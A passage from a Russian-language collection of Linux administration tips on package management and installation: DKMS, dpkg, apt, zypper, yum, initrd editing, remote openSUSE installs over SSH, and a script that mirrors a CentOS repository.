          sudo dkms add -m madwifi-hal -v 0.10.5.6-r3875-20081105
    
    5. Собираем и инсталлируем:
    
          sudo dkms build -m madwifi-hal -v 0.10.5.6-r3875-20081105
          sudo dkms install -m madwifi-hal -v 0.10.5.6-r3875-20081105
    
    
    Пример 2. Автосборка модуля файловой системы BTRFS при обновлении ядра.
    Оригинал заметки: http://deepwalker.blogspot.com/2008/11/810-dkms-nvidia-btrfs.html
    
    Загружаем исходники модуля ядра и кладем их в /usr/src/btrfs-0.16. 
    В том же каталоге создаем dkms.conf следующего содержания:
    
          MAKE[0]=make
          BUILT_MODULE_NAME[0]=btrfs
          DEST_MODULE_LOCATION[0]="/kernel/fs/btrfs"
          PACKAGE_NAME="btrfs"
          PACKAGE_VERSION="0.16"
          CLEAN="make clean"
          AUTOINSTALL="yes"
    
    
    Далее следует серия команд для запуска модуля в работу:
    
          # dkms add -m btrfs -v 0.16
          # dkms add -m btrfs -v 0.16
    
          Creating symlink /var/lib/dkms/btrfs/0.16/source -> /usr/src/btrfs-0.16
    
          DKMS: add Completed.
          
          # dkms build -m btrfs -v 0.16
    
          Kernel preparation unnecessary for this kernel. Skipping...
    
          Building module:
          cleaning build area....
          make KERNELRELEASE=2.6.27-7-generic............
          cleaning build area....
    
          DKMS: build Completed.
    
          # dkms install -m btrfs -v 0.16
    
          Running module version sanity check.
    
          btrfs.ko:
          - Original module
          - No original module exists within this kernel
          - Installation
          - Installing to /lib/modules/2.6.27-7-generic/updates/dkms/
    
          depmod........
    
          DKMS: install Completed.
    
          modprobe btrfs
    
     
    ----* Решение проблем с некорректно установленными пакетами в Debian и Ubuntu (доп. ссылка 1)   Автор: Okulov Vitaliy  [комментарии]
     
    После обновления ОС и установки gnome столкнулся с проблемой:
    
       dpkg: ../../src/packages.c:191: process_queue: Assertion 'dependtry <= 4' failed
    
    Соотвественно пакеты больше не ставились и не обновлялись. Погуглив решил
    проблему следующим образом:
    
       sudo dpkg -l | grep -v ^ii
    
    dpkg -l выводит список установленных пакетов, 
    grep -v ^ii - оставляет в выводе только неправильно установленные пакеты. 
    После получения списка таких пакетов, удалил первый из списка неправильно
    установленный пакет командой
    
       sudo dpkg -purge remove имя_пакета
    
    После вышеуказанных манипуляций проблема ушла.
    
     
    ----* Примеры использования пакетного менеджера Zypper в openSUSE (доп. ссылка 1)   [комментарии]
     
    Найти заданный пакет по имени:
       zypper se banshee-1
       zypper se bans*
    
    По умолчанию в результатах поиска отображается имя, описание и тип. Для промотора 
    дополнительных параметров, например, номера версии и имени репозитория, можно использовать:
      zypper se -s пакет
    
    Вывод краткой справки по пакету:
       zypper if пакет
    
    Удаление пакетов по маске:
       zypper rm gtk*devel*
    
    Установка пакетов по маске:
       zypper in gtk-sharp?
    
    Удаление пакета с версией старше заданной:
       zypper rm пакет>1.2.3
    
    Установка и удаление одной командой:
       zypper in пакет_для_установки -пакет_для_удаления +пакет_для_установки
    
    Принудительная установка уже присутствующего в системе пакета:
       zypper in --force пакет
    
    Установка RPM пакетов из файла, а не из репозитория:
       zypper in ./file.rpm
       zypper in http://<;url>/file.rpm
    
    Обновить все установленные в системе пакеты (исправления проблем безопасности и
    критических ошибок):
       zypper up
    
    Обновить систему до более новой версии openSUSE:
       zypper dup
    
    Установить программы, необходимые для пересборки заданного пакета из исходных текстов:
       zypper si -d пакет
    
    Посмотреть список мета-пакетов (сгруппированных наборов):
       zypper pt
    
    Установить мета-пакет:
       zypper in -t pattern xfce
    
    Найти мета-пакет по маске:
       zypper se -t pattern media
    
    Посмотреть список доступных репозиториев пакетов:
       zypper lr
    
    Добавить новый репозиторий:
       zypper ar <url> <name>
    
    Временно отключить первый репозиторий в списке:
       zypper mr -d 1
    
    Временно отключить репозиторий по имени:
       zypper mr -d repo-oss
    
    Удалить первый репозиторий из списка:
       zypper rr 1
    
    Выполнение действия в тестовом режиме, без фактического выполнения операции:
       zypper in --dry-run пакет
    
    Заморозить состояние пакета в текущем виде, для предотвращения случайной установки или удаления:
       zypper addlock пакет
    
    Снятие блокировки:
       zypper removelock пакет
    
     
    ----* Установка OpenSUSE на удаленной машине с управлением по SSH (доп. ссылка 1)   [обсудить]
     
    На машине, на которой планируется установка, загружаем ядро и образ ram-диска:
    
       cd /tmp
       wget http://mirrors.kernel.org/opensuse/distribution/11.0/repo/oss/boot/i386/loader/linux
       wget http://mirrors.kernel.org/opensuse/distribution/11.0/repo/oss/boot/i386/loader/initrd
       cp linux /boot/vmlinuz.install
       cp initrd /boot/initrd.install
    
    Модифицируем настройки Grub, /boot/grub/menu.lst (параметры kernel нужно переписать в одну строку)
    
    title Boot -- openSUSE 11.0
       root (hd0,0)
       kernel /boot/vmlinuz.install noapic usessh=1 sshpassword="12345645" 
          install=http://mirrors.kernel.org/opensuse/distribution/11.0/repo/oss/ 
          hostip=192.168.42.2 gateway=192.168.42.1 nameserver=192.168.42.1
       initrd /boot/initrd.install
    
    Где 
      192.168.42.2 - IP машины на которую производится установка,
      192.168.42.1 - DNS и шлюз
      12345645 - пароль по которому будет осуществлен вход на устанавливаемую машину по SSH
    
    Скрипт для автоматизации вышеприведенных действий можно загрузить по ссылке
       http://www.suse.de/~lnussel/setupgrubfornfsinstall.html
    
    После перезагрузки, заходим c паролем 12345645:
       ssh -X root@192.168.42.2
    
    и начинаем процесс установки запустив yast (текстовый режим) или yast2 (графический режим).
    В случае обрыва процесса установки его можно продолжить, повторив настройки grub 
    и выполнив после входа по SSH:
       /usr/lib/YaST2/startup/YaST2.ssh
    
    При наличии "чистой" машины образ ядра можно загрузить по сети при помощи PXE.
    Пример можно найти в материале: http://wiki.opennet.ru/NetworkBoot
    
    Конфигурация  pxelinux будет выглядеть примерно так:
    
    default pxelinux
       prompt 1 
       timeout 600
    
       label pxelinux.install
       kernel vmlinuz
       append initrd=initrd.install noapic usessh=1 sshpassword="12345645" 
          install=http://mirrors.kernel.org/opensuse/distribution/11.0/repo/oss/ 
          hostip=192.168.42.2 gateway=192.168.42.1 nameserver=192.168.42.1
    
     
    ----* Создание установочного LiveUSB с Ubuntu и OpenSUSE Linux (доп. ссылка 1)   Автор: Roman Tuz  [комментарии]
     
    Подготовка загрузочного Flash для установки Ubuntu Linux.
    
    Устанавливаем syslinux:
       sudo apt-get install syslinux
    
    Устанавливаем загрузчик на Flash (/dev/sdb1 - определить можно из вывода mount или dmesg):
    
       syslinux -s /dev/sdb1
    
    Копируем полностью содержимое стандартного установочного LiveCD диска с Ubuntu Linux на Flash.
    
    Копируем из директории casper два файла vmlinuz и initrd.gz в корень Flash,
    а также все файлы из деректорий isolinux и install.
    
    Переименовываем файл isolinux.cfg в syslinux.cfg.
    
    Другой вариант - создание LiveUSB через специальный GUI интерфейс:
    
    В /etc/apt/sources.list добавляем репозиторий:
       deb http://ppa.launchpad.net/probono/ubuntu hardy main
    
    Ставим пакет liveusb:
       sudo apt-get update
       sudo apt-get install liveusb
    
    Монтируем образ загрузочного диска:
       sudo mount -o loop -tiso9660 ubuntu-8.04.1-desktop-i386.iso /cdrom
    
    Запускаем программу из "Система" - "Администрирование" - "Установить Live USB".
    
    
    Для создания установочного USB диска с OpenSUSE выполняем.
    Устанавливаем syslinux:
       zypper install syslinux
    
    Монтируем установочный ISO образ в директорию /mnt
       mount -o loop ./openSUSE-11.0-DVD-i386.iso /mnt/cdrom
    
    Вставляем usb flash и находим устройство к которому она подключена, анализируя вывод команд:
       fdisk -l
       cat /proc/partitions
       mount
       dmesg
    
    После того как определили искомый /dev/sdb, монтируем Flash:
       mount /dev/sdb /mnt/flash
    
    Копируем на Flash содержимое установочного диска, отдельно перенеся загрузчик в корень:
       cp /mnt/cdrom/boot/i386/loader/* /mnt/flash
    
    и переименовав файл конфигурации:
       mv /mnt/flash/isolinux.cfg /mnt/flash/syslinux.cfg
    
    Отмонтируем flash и устанавливаем загрузчик:
       umount /mnt/flash
       syslinux /dev/sdb
    
     
    ----* Как заставить apt-get установить вручную загруженные пакеты   [комментарии]
     
    В графическом интерфейсе synaptic есть возможность сгенерировать скрипт для
    загрузки выбранных пакетов
    с их последующей установкой: "генерировать скрипт закачки пакетов" и "добавить закаченные пакеты".
    Там где synaptic недоступен, можно поступить иначе:
    
    При указании опции --print-uris в apt-get, вместо установки будет выведен список адресов 
    для загрузки выбранных пакетов с учетом зависимостей.
    
       apt-get -y --print-uris install список_пакетов
    
    посмотреть какие пакеты нужно загрузить для обновления:
    
       apt-get -y --print-uris upgrade
       apt-get -y --print-uris dist-upgrade
    
    посмотреть какие индексы нужно загрузить:
    
      apt-get --print-uris update
    
    Эти пакеты можно загрузить отдельно и скопировать в /var/cache/apt/archives, например:
    
      apt-get -qq -y --print-uris upgrade | cut -f1 -d' ' | tr -d "'" > packet_list.txt
      cd /var/cache/apt/archives
      wget --input-file packet_list.txt
    
    затем повторить команду "apt-get install список_пакетов", пакеты будут установлены из кэша
    
    Вместо /var/cache/apt/archives можно указать и другую директорию:
    
       apt-get -o dir::cache::archives="/download" install список_пакетов
    
     
    ----* Использование http-прокси в APT и при обновлении Ubuntu   Автор: Heckfy  [комментарии]
     
    Для обновления дистрибутива ubuntu до новейшего необходимо выполнить:
    
       $ sudo update-manager -d
    
    Если сообщения о новом дистрибутиве почему-то нет, но оно должно быть,
    необходимо настроить "Сервис прокси".
    Пример:
    
       $ http_proxy='http://proxy.test.ru:3128/' sudo update-manager -d
    
    Апдейт менеджер можно заменить на do-release-upgrade
    
    Работа apt-get и некоторых других консольных приложений через прокси
    осуществляется аналогичным образом:
    
       export http_proxy=http://username:password@host:port/
       export ftp_proxy=http://username:password@host:port/
    
    Еще один способ конфигурирования работы apt через прокси:
    Создаем /etc/apt/apt.conf.d/01proxy:
    
       Acquire {
          http::Proxy "http://username:password@host:port/";
       }
    
     
    ----* Настройка поддержки мультимедиа в Ubuntu 8.04 (доп. ссылка 1)   [комментарии]
     
    Подсказка про установку аудио и видео-кодеков, поддержки просмотра защищенных DVD.
    
       sudo apt-get install gstreamer0.10-plugins-ugly-multiverse \
         gstreamer0.10-plugins-bad-multiverse gstreamer0.10-plugins-bad \
         gstreamer0.10-plugins-ugly gstreamer0.10-ffmpeg libxine1-ffmpeg \   
         libdvdread3 liblame0
    
    В /etc/apt/sources.list добавляем репозиторий Medibuntu:
    
       deb http://packages.medibuntu.org/ hardy free non-free
    
    Импортируем PGP ключ и устанавливаем libdvdcss2 и w32-кодеки:
    
       wget -q http://packages.medibuntu.org/medibuntu-key.gpg -O- \
        | sudo apt-key add -
       sudo apt-get update
    
       sudo apt-get install libdvdcss2 w32codecs ffmpeg
    
    Дополнительные закрытые компоненты, включая flash плагин, java, шрифты.
    
       sudo apt-get install flashplugin-nonfree libflashsupport
       (или можно поставить открытый аналог flash - mozilla-plugin-gnash)
       sudo apt-get install sun-java6-fonts sun-java6-jre sun-java6-plugin
       sudo apt-get install msttcorefonts
    
    Поддержку мультимедиа можно поставить одной командой:
    
       sudo apt-get install ubuntu-restricted-extras
    
    Для Kubuntu - kubuntu-restricted-extras, для xubuntu - xubuntu-restricted-extras
    
    Недостающие кодеки для Ubuntu и Debian можно попытаться найти в репозитории http://debian-multimedia.org/
    
     
    ----* Как в Debian/Ubuntu установить пакет с диска с учетом зависимостей (доп. ссылка 1)   Автор: Tigro  [комментарии]
     
    Установка .deb пакета, уже загруженного на локальный диск,
    с разрешением зависимостей и доустановкой недостающих пакетов:
    
       gdebi пакет.deb
    
     
    ----* Перекомпиляция пакета в Debian и Ubuntu (доп. ссылка 1)   [комментарии]
     
    Перекомпиляция пакета может понадобиться например, для упаковки более новой версии программы, 
    наложения определенного патча или пересборки с особенными опциями.
    
    Устанавливаем программы, необходимые для сборки пакетов:
      apt-get install devscripts 
      apt-get install build-essential
    
    В /etc/apt/sources.list раскомментируем строки с deb-src для нужного репозитория, например:
       deb-src http://ftp.us.debian.org/debian/ etch main non-free contrib
    
    Загружаем пакет с исходными текстами в текущую директорию:
       apt-get source имя_пакета
    
    Если под рукой уже есть .dsc, tar.gz и diff.gz файлы, раскрываем их командой:
       dpkg-source -x имя_пакета.dsc
    
    Устанавливаем зависимые пакеты (библиотеки, заголовочные файлы и т.д.), требуемые для сборки:
       apt-get build-dep имя_пакета
    
    Вносим изменения в появившейся директории "имя_пакета-версия".
    Если собрались импортировать в пакет более новую версию программы, то
    воспользуемся утилитой uupdate:
       uupdate -u путь_к_tar_gz_архиву_c_более_новой_версией_программы
    При этом в автоматическом режиме будут адаптированы патчи от старой версии, 
    в случае несостыковок придется исправлять патчи руками.
    
    Собираем пакет:
      cd имя_пакета-версия
      debuild -us -uc
    
    "-us" и "-uc" указываем так как не являемся мантейнером пакета и не можем
    создать цифровую подпись для пакета.
    
    Вместо враппера debuild можем напрямую использовать:
       dpkg-buildpackage -rfakeroot
    
    После сборки готовый пакет появится в родительской директории, устанавливаем его:
       cd ..
       dpkg -i <package_file.deb>
    
    Пример для пакета с MySQL:
       mkdir build
       cd build 
       apt-get source mysql-server-5.0
       apt-get build-dep mysql-server-5.0
       cd mysql-dfsg-5.0-5.0.32
       debuild -us -uc
       cd ..
       dpkg -i *.deb
    
     
    ----* Как обновить только пакеты находящиеся в архиве APT (доп. ссылка 1)   Автор: Stanislav Kislicin  [обсудить]
     
    Для того чтобы заставить apt обновить систему используя только пакеты из кэша /var/cache/apt/archives,
    а не лезть за ними в интернет, нужно выполнить:
    
       apt-get -no-download -ignore-missing upgrade 
    
    Если пакета нет в кэше, он не будет поставлен.
    
     
    ----* Обеспечение безопасности посредством GLSA в Gentoo Linux  (доп. ссылка 1)   Автор: daevy  [комментарии]
     
    Постоянное обновление системы - одно из важнейших мероприятий по обеспечению безопасности. 
    Можно следить за обновлениями посредством GLSA, для этого не обходимо 
    чтобы в системе был установлен пакет app-portage/gentoolkit. 
    
    в составе пакета идет утилита glsa-check, с которой нам и предстоит работать.
    
    Итак преступим.
    Сначала можно посмотреть все доступные выпуски GLSA
    
       # glsa-check -l
    
    Все строки, содержащие [A] и [U], можно проигнорировать, т.к. они неприменимы для данной системы.
    
    Теперь проверим подвержена ли наша система GLSA
    
       # glsa-check -t all
    
    Или можно просмотреть пакеты которые необходимо переустановить
    
       # glsa-check -p $(glsa-check -t all)
    
    И применить их...
    
       # glsa-check -f $(glsa-check -t all)
    
    И конечно перезапускаем те демоны, которые подверглись переустановке.
    
     
    ----* Установка пакетов с пересборкой из исходных текстов в Ubuntu Linux (доп. ссылка 1)   Автор: openkazan.info  [комментарии]
     
    Устанавливаем пакет apt-build:
    
       apt-get install apt-build  
    
    Настраиваем его командой  dpkg-reconfigure apt-build, тут нам надо будет ответить
    на вопросы об уровне оптимизации и об архитектуре вашего процессора. 
    
    Далее надо убедится, что у нас раскоментированы репозитарии исходников в /etc/apt/sources.list 
    (эти строки начинаются с deb-src). Обновляем список репозитариев apt-get update.  
    
     Ну и всё, дальше вместо apt-get используем apt-build. Ключи и опции apt-build такие же как и у apt-get:  
    
       apt-build update - обновление списка репозитариев и софта в них,
       apt-build upgrade - апгрейд установленных пакетов,
       apt-build install  - устанавливаем программу,
       apt-build world - а это перекомпилит всю вашу систему! Тут всё на ваш страх и риск!
    
    При первом запуске apt-build вы увидите следующее сообщение об ошибке: 
    
       -----Rebuilding the world!-----
       -----Building package list-----
       Please read README.Debian first. 
    
    Просто apt-build не знает какой софт у вас установлен. 
    Для того чтобы побороть эту ошибку достаточно ввести команду:  
    
       dpkg --get-selections | awk '{if ($2 == "install") print $1}'> /etc/apt/apt-build.list 
    
    Ну а дальше работаем с apt-build как с apt-get. 
    Рекомендую вставлять ключи  --yes and --force-yes для  того чтобы весь процесс
    проходил на автомате.
    
     
    ----* Использование шаблонов при поиске пакетов в Aptitude (доп. ссылка 1)   Автор: jetxee  [комментарии]
     
    Список полезных шаблонов, которые можно использовать в aptitude search 
    
       ~nимя - в имени встречается текст "имя" (можно использовать 
                  регулярные выражения, например, ~n^lib отбирает только имена начинающиеся с lib)
    
       ~dтекст - в описании пакета встречается "текст" (очень полезно, если название программы 
                  неизвестно, но известно, что она должна делать)
    
       ~i - отбирает только уже установленные пакеты
    
       ~N - отбирает только новые пакеты (которых раньше не было в репозитории)
    
       ~U - отбирает пакеты, которые можно обновить
    
       ~Dтребование - отбирает пакеты, которые зависят от "требования"
                 (можно использовать регулярные выражения)
    
       ~Rзависимый - отбирает пакеты, которые необходимы для "зависимого" 
                 (можно использовать регулярные выражения)
    
       | - логическое "ИЛИ"
       
       ! - логическое отрицание
    
    
    Например: 
    Найти пакеты в имени которого встречается kde:
       aptitude search ~nkde
    
    Найти пакеты в описании к которым встречается HDR и image:
       aptitude search ~dHDR~dimage
    
    Найти пакеты в названии которых встречается aptitude. но в системе они не установлены:
       aptitude search '!~i~naptitude'
    
    Найти установленные пакеты в названии которых встречается firefox или iceweasel:
       aptitude search '~i(~nfirefox|~niceweasel)'
    
     
    ----* Как обновить CentOS 5.0 до CentOS 5.1 и Fedora 7 до Fedora 8   [обсудить]
     
    Для обновления в пределах одной подверсии (например, с 4.0 до 4.6 или с 5.0 до
    5.1) достаточно выполнить
    
       yum update
    
    Для обновления "major" релизов CentOS  лучше воспользоваться пунктом Upgrade в инсталляторе.
    
    
    Для обновления версий Fedora:
       yum update
       yum clean all
    
       rpm -Uhv \
         http://download.fedora.redhat.com/pub/fedora/linux/releases/8/Fedora/i386/os/Packages/fedora-release-8-3.noarch.rpm\
          http://download.fedora.redhat.com/pub/fedora/linux/releases/8/Fedora/i386/os/Packages/fedora-release-notes-8.0.0-3.noarch.rpm
    
       yum update
       Читаем про особенности обновления между релизами http://fedoraproject.org/wiki/YumUpgradeFaq 
    
     
    ----* Модификация образа загрузочного RAM диска (initrd) в Linux   [комментарии]
     
    Задача добавить модуль ядра usb-storage в "initrd.img" от Fedora Linux
    для загрузки с диска с USB интерфейсом.
    
    
       mkdir ./initrd
       mv ./initrd.img ./initrd.img.gz
       gunzip  ./initrd.img
    
    Метод 1. initrd.img в виде сжатого образа файловой системы
       mount -o loop ./initrd.img ./initrd
    
    Метод 2. initrd.img в виде сжатого cpio архива
       cd ./initrd
       cpio -ic < ../initrd.img
    
    Копируем в ./initrd/lib модуль usb-storage.ko 
    (следим, чтобы уже были модули scsi_mod.ko, (o|e|u)hci-hcd.ko, usbcore.ko)
    Прописываем "insmod /lib/usb-storage.ko" в конец списка загрузки модулей ./initrd/init
    Может потребоваться скопировать команду sleep и прописать после
    загрузки модуля usb-storage задержку, необходимую на обнаружения накопителя.
    
       umount ./initrd  # для метода 1.
       cd ./initrd
       find . -print| cpio -oc |gzip -9 -c > ../initrd_new.img  # для метода 2.
       Другой вариант упаковки (для Fedora 8):
       find . -print| cpio -H newc -o |gzip -9 -c > ../initrd_new.img
    
    
    При загрузке с USB диска большого объема (250Гб) при установке ОС в
    разделе в центре диска не удалось использовать Lilo и Grub. Lilo при
    загрузке ругался на несоответствие текущей геометрии диска той что 
    была в момент его установки. Установка Grub привела к зависанию 
    ноутбука в момент опроса USB диска (проблема BIOS). Выход нашелся в
    установке загрузчика от FreeBSD:
    
    1. Делаем бэкап текущего MBR USB диска:
      dd if=/dev/sda of=mbr_sda.bin bs=1 count=512
    2. Берем boot0 из комплекта FreeBSD и копируем в него данные о таблицах разделов текущего диска:
      dd if=mbr_sda.bin  of=boot0   bs=1 count=66 skip=446 seek=446
    3. Копируем загрузчик в MBR USB диска:
      dd if=boot0 of=/dev/sda  bs=1 count=512
    4. В текущий раздел Linux устанавливаем Grub:
      # grub
      grub> find /boot/grub/stage1
         (hd0,1) раздел /dev/sda2
      grub> root (hd0,1)
      grub> setup (hd0,1)
    
     
    ----* apt + gpg: как добавить сигнатуру репозитория   Автор: Heckfy  [комментарии]
     
    После обновления до Etch в APT появилось много изменений. Одно из них - защита
    от подмены доменной записи.
    
       # apt-get update
          W: GPG error: http://deb.opera.com stable Release: 
          The following signatures couldn't be verified because the public key is not available: 
         +NO_PUBKEY 033431536A423791
         W: You may want to run apt-get update to correct these problems
    
    Для решения проблемы с "apt-get update" предлагается запустить "apt-get
    update". Не будем зацикливаться.
    Получим публичный ключ и сохраним его в пользовательской базе: 
    
       $ sudo gpg --keyserver subkeys.pgp.net --recv-keys 033431536A423791
          gpg: requesting key 6A423791 from hkp server subkeys.pgp.net 
          gpg: key 6A423791: public key "Opera Software Archive Automatic Signing Key <hostmaster@opera.com>" imported 
          gpg: no ultimately trusted keys found gpg: Total number processed: 1
          gpg: imported: 1 
    
    Теперь отдадим нашему apt ключ: 
    
        $ gpg --armor --export 033431536A423791 | sudo apt-key add - 
           OK 
    
    Что-то произошло. 
    
       $ ls -l /etc/apt 
          total 40 
          -rw-r--r-- 1 root root 2524 Nov 14  2006 apt-file.conf 
          drwxr-xr-x 2 root root  112 May 27 02:54 apt.conf.d 
          -rw-r--r-- 1 root root   98 May 27 02:54 listchanges.conf 
          -rw------- 1 root root    0 May 25 10:08 secring.gpg 
          -rw-r--r-- 1 root root 1059 May 25 02:15 sources.list 
          -rw-r--r-- 1 root root  812 May 24 00:19 sources.list-sarge 
          drwxr-xr-x 2 root root   48 Feb 27 00:21 sources.list.d 
          -rw-r--r-- 1 root root  632 Nov 12  2005 sources.list~ 
          -rw------- 1 root root 1200 May 30 10:26 trustdb.gpg 
          -rw-r--r-- 1 root root 4473 May 30 10:26 trusted.gpg 
          -rw-r--r-- 1 root root 4473 May 30 10:26 trusted.gpg~ 
    
    Сегодня - May 30.  Не знаю, что там в trust*, но это нравится нашему apt: 
    
       $ sudo apt-get update 
          Ign file: stable Release.gpg Ign file: stable Release.gpg 
          Ign file: stable Release.gpg Get:1 file: stable Release [802B] 
              Get:2 file: stable Release [627B] Get:3 file: stable Release [627B] 
          Ign file: stable/main Packages 
          Ign file: stable/main Packages 
          Ign file: stable/main Packages 
             Get:4 http://deb.opera.com stable Release.gpg [189B] Hit http://deb.opera.com stable Release 
          Ign http://deb.opera.com stable/non-free Packages/DiffIndex 
          Ign http://deb.opera.com stable/non-free Packages 
              Hit http://deb.opera.com stable/non-free Packages Fetched 189B in 0s (227B/s) 
              Reading package lists... Done  
    
    На всякий случай, посмотрим, что еще изменилось за сегодня в системе: 
    
       $ locate gpg > 1 
       # updatedb && locate gpg > 2 && diff 1 2 
          56a60,65 
           > /home/hec/.gnupg/pubring.gpg 
           > /home/hec/.gnupg/pubring.gpg~ 
           > /home/hec/.gnupg/secring.gpg 
           > /home/hec/.gnupg/trustdb.gpg 
           > /home/hec/.local/share/applications/menu-xdg/X-Debian-Apps-Tools-kgpg.desktop 
           390c404 
           < /var/lib/apt/lists/partial/deb.opera.com_opera_dists_stable_Release.gpg
            --- 
            > /var/lib/apt/lists/deb.opera.com_opera_dists_stable_Release.gpg  
    
    Создались и изменились файлы в ~/.gnupg и deb.opera.
    com_opera_dists_stable_Release.gpg перешел из /var/lib/apt/lists/partial/ в /var/lib/apt/lists/  
    
    Ссылки по теме:  
       http://strugglers.net/wiki/The_following_signatures_couldn't_be_verified
       http://www.osp.ru/lan/1997/07/132968/ - Атака и защита DNS
    
     
    ----* Примеры управления пакетами через dpkg (доп. ссылка 1)   [комментарии]
     
    Установка одного пакета:
       dpkg -i <.deb file name>
       Пример: dpkg -i avg71flm_r28-1_i386.deb
    
    Рекурсивная установка группы пакетов помещенных в директорию:
       dpkg -R
       Пример: dpkg -R /usr/local/src
    
    Распаковать пакет, но не переходить на стадию конфигурации:
       dpkg --unpack package_file
       Пример: dpkg --unpack avg71flm_r28-1_i386.deb
    
    Выполнить стадию конфигурирования для ранее распакованного пакета:
       dpkg --configure package
       Пример: dpkg --configure avg71flm_r28-1_i386.deb
    
    Удаление ранее установленного пакета, с сохранением файлов конфигурации:
       dpkg -r
       Пример: dpkg -r avg71flm_r28-1_i386.deb
    
    Удаление ранее установленного пакета, с удалением файлов конфигурации:
       dpkg -P
       Пример: dpkg -P avg71flm
    
    Обновление информации о доступных для установки пакетах из файла "Packages.dpkg"
       dpkg --update-avail <Packages-file>
    
    Добавление (комбинирование) информации о дополнительных пакетах  из файла "Packages.dpkg"
       dpkg --merge-avail <Packages-file>
    
    Обновление информации о пакете непосредственно из пакета:
       dpkg -A package_file
    
    Удалить информацию о ранее установленных, но удаленных, и теперь недоступных, пакетах:
       dpkg --forget-old-unavail
    
    Удалить информацию о доступности пакетов:
       dpkg --clear-avail
    
    Найти частично установленные пакеты:
       dpkg -C
    
    Отобразить различия в двух наборах пакетов:
       dpkg --compare-versions ver1 op ver2
    
    Построить deb пакет:
       dpkg -b directory [filename]
    
    Показать содержимое пакета:
       dpkg -c filename
    
    Показать информацию о пакете:
       dpkg -I filename [control-file]
    
    Показать список пакетов удовлетворяющих маске:
       dpkg -l package-name-pattern
       Пример: dpkg -l vim
    
    Показать список всех установленных пакетов:
       dpkg -l
       dpkg --get-selections
    
    Установить пакеты, по списку сохраненному в файле:
       apt-get update
       cat файл_со_списком_пакетов| dpkg --set-selections
       apt-get dselect-upgrade
    
    Отобразить состояние пакета
       dpkg -s package-name
       Пример: dpkg -s ssh
    
    Показать список файлов в системе, добавленных из указанного пакета.
       dpkg -L package-Name
       Пример: dpkg -L apache2
    
    Поиск пакета по входящему в его состав файлу:
       dpkg -S filename-search-pattern
       Пример: dpkg -S /sbin/ifconfig
    
    Вывод детальной информации о пакете:
       dpkg -p package-name
       Пример: dpkg -p cacti
    
     
    ----* Установка CentOS и FC 6 на материнские платы Intel P965 (ICH8R) с IDE-CDROM   Автор: Державец Борис  [комментарии]
     
    Установка CentOS 4.4 (RHEL AS  4.4) и FC 6 на материнские платы с чипсетом
    Intel P965 & Intel ICH8R с IDE-CDROM'a.
    
    
    1.Установить в BIOS режим AHCI для  Intel ICH8R и Jmicron JMB363
    
    2.На подсказке 
         boot:linux all-generic-ide pci=nommconf
    
    3. Cпецифицировать во время графической установки
         Kernel boot options : 
         all-generic-ide pci=nommconf
    
    При установке GRUB в /boot partition выполнить:
         boot:linux all-generic-ide pci=nommconf rescue
          ...................
    
         # chroot /mnt/sysimage
         # df -h
         /dev/sdaX    .......       /boot
         .............................
    
         #  dd if=/dev/sdaX of=linux.bin bs=512 count=1
         # mcopy linux.bin a:
             
      Такой стиль установки позволяет системам   успешно определять 
    IDE-CDROM не только при установке , но и в рабочем режиме.
    
     
    ----* Как автоматизировать установку Debian и Fedora Linux (доп. ссылка 1)   [обсудить]
     
    Инсталлятор Debian можно заставить использовать файл ответов на вопросы установки (pre-seeding).
    
    Установите пакет debconf-utils
       apt-get install debconf-utils
    
    Создайте pre-seeding файл для повторения начальной установки:
       debconf-get-selections --installer > preseed.cfg
    
    Добавьте последующие изменения:
       debconf-get-selections >> preseed.cfg
    
    При необходимости отредактируйте preseed.cfg на свой вкус и скопируйте на дискету.
    
    В момент загрузки передайте в качестве параметра путь к preseed.cfg файлу (как
    опции загрузки ядра):
       preseed/file=/floppy/preseed.cfg debconf/priority=critical
    
    
    Что касается Fedora, то создать файл автоустановки можно использовав пакет system-config-kickstart:
       yum -y install system-config-kickstart
       /usr/sbin/system-config-kickstart
    
    После запуска в диалоговом режиме будет сформировано содержание файла ks.cfg,
    информацию о котором нужно передать как параметр при загрузке:
       linux ks=/floppy/ks.cfg
    
     
    ----* Локальный репозитарий CentOS через HTTP proxy   [комментарии]
     
    До появления прямого соединения с интернетом (провайдером был открыт только http), 
    было довольно проблематично поддерживать локальный репозитарий пакетов в актуальном состоянии.
    Для выхода из подобной ситуации был написан следующий скрипт,
     который в некотором приближении заменяет rsync.
    
    #!/bin/sh
    
    cd /opt/rpm-update
    #mirror_base_url=http://ftp.belnet.be/packages/centos/4.3/os/i386/CentOS/RPMS/
    #mirror_update_url=http://ftp.belnet.be/packages/centos/4.3/updates/i386/RPMS/
    
    mirror_base_url=$1
    local_rpm_directory=$2
    
    #local_rpm_directory=/var/ftp/pub/centos-4.3/
    
    file_html=./index.html
    file_rpms=./files.log
    
    rm -f $file_html
    rm -f $file_rpms
    
    echo "---------------------------------------------------------"
    echo "obtaining file list from $mirror_base_url ..."
    wget -q --no-cache $mirror_base_url
    echo "ok."
    
    cut -d"=" $file_html -f4 | cut -d"\"" -f2 | grep rpm | sort > $file_rpms
    
    a=`cat $file_rpms`
    for cur_rpm in $a
    do
        cur_rpm_file=$local_rpm_directory$cur_rpm
        if [ -e $cur_rpm_file ]
        then
            echo "$cur_rpm exist." > /dev/null
        else
            echo "downloading  $cur_rpm ..."
            wget -q --no-cache $mirror_base_url$cur_rpm
            echo "ok."
            mv ./$cur_rpm $local_rpm_directory
        fi
    done
    
    rm -f $file_html
    rm -f $file_rpms
    
    
    
    и вызов этого скрипта
    
    #!/bin/sh
    
    echo "***** run4 START ***** " >> /var/log/rpm_update4
    
    /opt/rpm-update/lsus.sh
    http://ftp.belnet.be/packages/centos/4.3/updates/i386/RPMS/ /var/ftp/pub/centos-4.3/
     >> /var/log/rpm_update4
    /opt/rpm-update/lsus.sh
    http://ftp.belnet.be/packages/centos/4.3/os/i386/CentOS/RPMS/ /var/ftp/pub/centos-4.3/
     >> /var/log/rpm_update4
    /opt/rpm-update/lsus.sh
    http://ftp.belnet.be/packages/centos/4.3/extras/i386/RPMS/ /var/ftp/pub/centos-4.3/
     >> /var/log/rpm_update4
    
    echo "generating headers..." >> /var/log/rpm_update4
    yum-arch -q /var/ftp/pub/centos-4.3/
    echo "ok." >> /var/log/rpm_update4
    
    echo "generating repo..." >> /var/log/rpm_update4
    createrepo -q /var/ftp/pub/centos-4.3/
    echo "ok." >> /var/log/rpm_update4
    
    echo "***** run4 STOP ***** " >> /var/log/rpm_update4
    
    
    вызывается по крону, если на сервере появились свежие пакеты, быстренько
    заливает их в локальный репозитарий.
    
     
